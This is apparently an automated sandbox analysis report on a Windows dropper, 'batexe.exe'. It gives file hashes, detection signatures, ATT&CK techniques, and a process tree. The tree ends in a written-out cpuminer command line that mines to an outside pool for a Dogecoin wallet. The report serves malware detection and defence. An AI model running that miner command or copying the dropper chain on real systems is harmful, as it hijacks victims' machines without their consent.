73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 00:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
batexe.exe
Size 9.4MB
Sample240222-amhgeshe72
SHA256 73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
MD5 cdc9eacffc6d2bf43153815043064427
SHA1 d05101f265f6ea87e18793ab0071f5c99edf363f
SHA512 fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP 196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4000	b2e.exe
1644	cpuminer-sse2.exe

Loads dropped DLL 6 IoCs

pid	Process
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe
1644	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3896-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 4000	3896	batexe.exe	79
PID 3896 wrote to memory of 4000	3896	batexe.exe	79
PID 3896 wrote to memory of 4000	3896	batexe.exe	79
PID 4000 wrote to memory of 3752	4000	b2e.exe	80
PID 4000 wrote to memory of 3752	4000	b2e.exe	80
PID 4000 wrote to memory of 3752	4000	b2e.exe	80
PID 3752 wrote to memory of 1644	3752	cmd.exe	83
PID 3752 wrote to memory of 1644	3752	cmd.exe	83

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Users\Admin\AppData\Local\Temp\6608.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6608.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6608.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7337.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3752
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\6608.tmp\b2e.exe
Size 3.7MB
SHA256 fe9409f1c1e2f60b3f9d0c9b730344499ddaac2044c3dd146ababac03558a746
MD5 ad8c304aa266a3d91f8a9123d58d0294
SHA1 cd210fbdd95751a84183aff794aacf26da5d632d
SHA512 7c9b52b4d90e1aec48f208210ccff34b08c3d9e47dab05d1442861220404184f1b52385413feaabfb6948719fdb655311bb8397f749dfe1dbe6c2b987daf1770
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVl:2Vh7J/WrocAdkmBtKCLaf
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\6608.tmp\b2e.exe
Size 4.4MB
SHA256 b46f0e10cce69db178feafdb4fb445039ae28af67104388ddc4db92aad3005df
MD5 e4439fc9ef3da2db23bb2e697c1a5842
SHA1 8fb9d1d7ae703fbd788a950301c823ffc4b4b1ec
SHA512 673c5e518f3e6f4e78cb30665f0bb48ed860b0022a7e34c68a23076ed4b3a4d5e8b5fbeb122e2b062ff164bccaf309014e74cae60f83f1a3ed4fea471c85eea7
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSusjtZPPxtSVJn:2Vh7J/WrocAdkmBtKCLaDrz
MD5 SHA1 SHA512 SSDEEP

Submit Download

b2e.exe

Path C:\Users\Admin\AppData\Local\Temp\6608.tmp\b2e.exe
Size 2.7MB
SHA256 0ac610e341da5b10e7e5e0efcc3c8ec2182f8e6166d4a230bf090159abec2f6a
MD5 e0f5fba57d6c0ceb3acf82eb77a6be12
SHA1 738f1e152540b3873e919b29be33167a8ccedba3
SHA512 2cad19b9ac7540b0b3266392ff0871e0f5c3baa8aca03608b3c1b35da3ca5731b29674bd5cfbd3b3bac465ec5c94ca9c204c5e649a30084d0c592085f5e9361a
SSDEEP 49152:HWVh7Fj/WrXYcatDRddBuqw/LLpGokJsThPz8rJG9nSti9/KKJSo:2Vh7J/WrocAdkmBtKL
MD5 SHA1 SHA512 SSDEEP

Submit Download

batchfile.bat

Path C:\Users\Admin\AppData\Local\Temp\7337.tmp\batchfile.bat
Size 136B
SHA256 65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
MD5 8ea7ac72a10251ecfb42ef4a88bd330a
SHA1 c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA512 a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
MD5 SHA1 SHA512

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 1.6MB
SHA256 e0846330a52e8173f95c39ce703c80431be8dbd568842607124ffdad9a7c873a
MD5 5434b506fc6db2104878186e5fb39be1
SHA1 5ad3396de51aba41d68255b257638c787ef81ee5
SHA512 0ec9067a7b6959e6dc46d7a01080a96129d0bdfdf1b732da11715e28296fbdf7d40a48450b1dbac9ccc30d7df06fe4a54e615a2bc09d7decc4733d6d476eb8ae
SSDEEP 24576:WbAAkXZfeqVZoq/QpmN/TDjzshtmB1kbQ34igDlnRZ9WRU2mYgztnpX4W9sLd75A:Wkpplb/LHkmgDlX3+57UadI
MD5 SHA1 SHA512 SSDEEP

Submit Download

cpuminer-sse2.exe

Path C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
Size 1.6MB
SHA256 7ba8fbd03d68a9b29224d1661136b819bdad45215c96cb2edbed68215acd047d
MD5 488538ed51a5b03a991c86305677c929
SHA1 6fa0904bda9d760e8f9e8d3cd0c4f3b7e9e7fbd2
SHA512 99029965001cda60476790985e2a985812b4b2e4628f85c724f864ce258d7f0d3a47a20ebd604d2623f96c6cdabe09f346f051fd0b1f9fe1bdba108fd1c757ee
SSDEEP 24576:WbAAkXZfeqVZoq/QpmN/TDjzshtmB1kbQ34igDlnRZ9WRU2mYgztnpX4W9sLd75D:Wkpplb/LHkmgDlX3+57Uad1x
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 836KB
SHA256 218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
MD5 aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA1 5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA512 c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
SSDEEP 24576:xufMF9VdLNrjhHdLI8cUlOb1w4yYhJWOrXQB:cfMFhBr19LI87lOb1w4IOrXQB
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 505KB
SHA256 ca060f7eff080497862423b78233fa53b8cfefa791f0aeb8267982a4cad44344
MD5 1839cf3cb189885c11a91947451bed2c
SHA1 3b2e73fbe85913d91f14b5e0b56888480c1a366c
SHA512 359d210876c23369517208d7540e04dc06b23f447bef205f0b3ccede478236da46dbd2e0f8a1419759b6d6f091c84560dca697ff653c87ebd51dd17ab0103116
SSDEEP 6144:G6l05RRx7sVReffLoF62FryGLi21TdLN7/Gb4hoYn9sr6mTliKIKCI:xup7YufLe62F2G1TdLN7/g4hHdLIz
MD5 SHA1 SHA512 SSDEEP

Submit Download

libcurl-4.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll
Size 458KB
SHA256 85c6fb9165a04e71ea242979350de98301254a23bcc9323ff54a5a27d981f157
MD5 dfd6f576608d92bc39c1b3b37039c475
SHA1 f49ac368550df02a203ca73d1dc424c9aeb9cd3a
SHA512 0c631411734195c03afc2f5684e7d3fcf92092aab75dde85293d2df48dcd2f46edabe6cbebd52e196cb591a46c5f904edf857b598768dce204020ca455344d56
SSDEEP 6144:G6l05RRx7sVReffLoF62FryGLi21TdLN7/Gb4hoYn9sr6A:xup7YufLe62F2G1TdLN7/g4hHdA
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 822KB
SHA256 4278463fdf89a6a7d5d468b382a3092ccfa8468917284afa84b444e1549b932f
MD5 074600ffeb42f65dc1ef07f1e37e566a
SHA1 11e99b7ea65faa5b61943b6425ca34e515875aab
SHA512 400f5f52e946c94e6bd4b7d49027dc38052d48504e8bb49893884b9b57d461d15b72ff423bca30d2a6b4239c185566a399c72ae3e9cec87575a315002d809b9e
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1M6:mnKt/wDm1nazZffMMcUvQlRg3Js
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 651KB
SHA256 a3f09490bfb780c09469a210a105b98eda74b9f3c7d62f9c7848303428d675cf
MD5 0e799758d304b0cbe647cc2f53a4ab1f
SHA1 91d4f9041f04d1f45ac9836ec211cd6a95476d57
SHA512 0781d4e082e4809136952e6c65dda6a8d903fdb5063a59a8a52c6f062079cceda404c2a378fe896d9009f2715c9c1ad620b9d246f82bb0e3d0b70eec81de3709
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1Mt:mnKt/wDm1nazZffV
MD5 SHA1 SHA512 SSDEEP

Submit Download

libgcc_s_seh-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll
Size 678KB
SHA256 e47ee2c5c5ca1fe1fe0110cff927704ff6ca2b9385d7cfdd888cc8e3b8648aba
MD5 d5ffdb2723ad3cd4237426f2309e32be
SHA1 a5f844c078e8490186472f8b1f52cb140c334cdb
SHA512 cc4b0e2485f20c771fa68a3fd95b82d033e226ce4587a0b1c483e0c01871f1b8b8e91ec0a7fad67f00e55bc273b80c052ba6da570f1c2ef1c010ba450b4c50f5
SSDEEP 12288:ynYk4yH15191n1q1x1c1vw6t8a1/hKhbhdhvh3hY6Dhch3hhCZ1c1eCJ1MC1+1MY:mnKt/wDm1nazZffMf
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 977KB
SHA256 3b9ac7ca8d64b1da0c4ebf306cddf059a83729c49411f99670df6257902e7ca3
MD5 fec531c49837b512c2d6e40d92dfa261
SHA1 b5536b86ff52629a664f0b7a2855fd03e560d571
SHA512 5dcaa419118015a5f6dd7b9e73879b463368313cd0b918b6e0b84bab6605525384a556cd26dfcefacf973131279189b5fbfd7c6fdc36fee968ab175dd1adfd65
SSDEEP 12288:9Rgs+Gatqxo2LvmKmOmVriIvhr/5yfMVjKBUUaqN01T:Dv+Gatwo2ZyrfvhKBl01T
MD5 SHA1 SHA512 SSDEEP

Submit Download

libstdc++-6.dll

Path C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll
Size 1.1MB
SHA256 252f60b36ebf0d228539e35b4a17d46cc6dca758930301951116cfd3242c6c07
MD5 3bff5f96a7e29073d82ec89eb4e55e76
SHA1 01ec7020eded8cdc4a72dbff3ff7bf073f3fd8cc
SHA512 ca66956c4118e15d5b985489eda697515221cc3479e5a700e0ac06c9acdcb2aa64e66d21801897b1df891933049735cd06d779fffe0b1f5f4a8f3c62e17547e8
SSDEEP 12288:9Rgs+Gatqxo2LvmKmOmVriIvhr/5yfMVjKBUUaqN01DK7fEkCUmh:Dv+Gatwo2ZyrfvhKBl01Yw
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 451KB
SHA256 dc0a356f27ffe2770c6d61206a183173bdff9097a33aa3673e0b109928075bba
MD5 fa2a2e1c1afec5d85d8cf77f23b020eb
SHA1 2a1e83687c66074879d18b056848bcb8e4616ba8
SHA512 4c27a205125056d22dee8019fefa9cb2abf4e736298c5419cad440cec05988dbd4208128167a8859d9b190587080a7183811c4e071c764ddf3d7e8e492dec164
SSDEEP 12288:IrAim3Y9lrzf34z//KRwwtkIr1PznEcyJwV2ZugO:IrAim3Y9lrzf34z//KRwwtkIr1PzEcym
MD5 SHA1 SHA512 SSDEEP

Submit Download

libwinpthread-1.dll

Path C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll
Size 311KB
SHA256 883537411cf2dd6d883ce0c41004d95b0247aee0dce9e5ef4a183185a32d2fdc
MD5 48aeb2b09d4d785aa91b808ddbe67bb9
SHA1 4c75e4dac71471f378484dfdfc8423064463ff77
SHA512 4e6ae27dc2bef0f16cff398c86e1ef6e94b246e482377699d44d4f763ac7eda2f909028142166184b588b0208f49f05af04687e0ef85acca129aec0c3f00f3cf
SSDEEP 6144:g9rAim3YMr6mjmrYGf4qt2zQi/XaWqDqLrwGjqlK+Ge4e+2OliKpKCkZ2cny+6FK:IrAim3Y9lrzf34z//KRwwtkIr1PznEch
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1644-49-0x00000000744D0000-0x0000000074568000-memory.dmp

Download

memory/1644-71-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-42-0x0000000000870000-0x000000000092C000-memory.dmp

Download

memory/1644-45-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

Download

memory/1644-47-0x0000000061440000-0x000000006156B000-memory.dmp

Download

memory/1644-48-0x0000000000870000-0x000000000092C000-memory.dmp

Download

memory/1644-106-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-50-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-101-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-56-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-61-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-66-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-91-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-81-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/1644-86-0x0000000000400000-0x0000000000667000-memory.dmp

Download

memory/3896-9-0x0000000000400000-0x000000000393A000-memory.dmp

Download

memory/4000-7-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/4000-55-0x0000000000400000-0x0000000000405000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads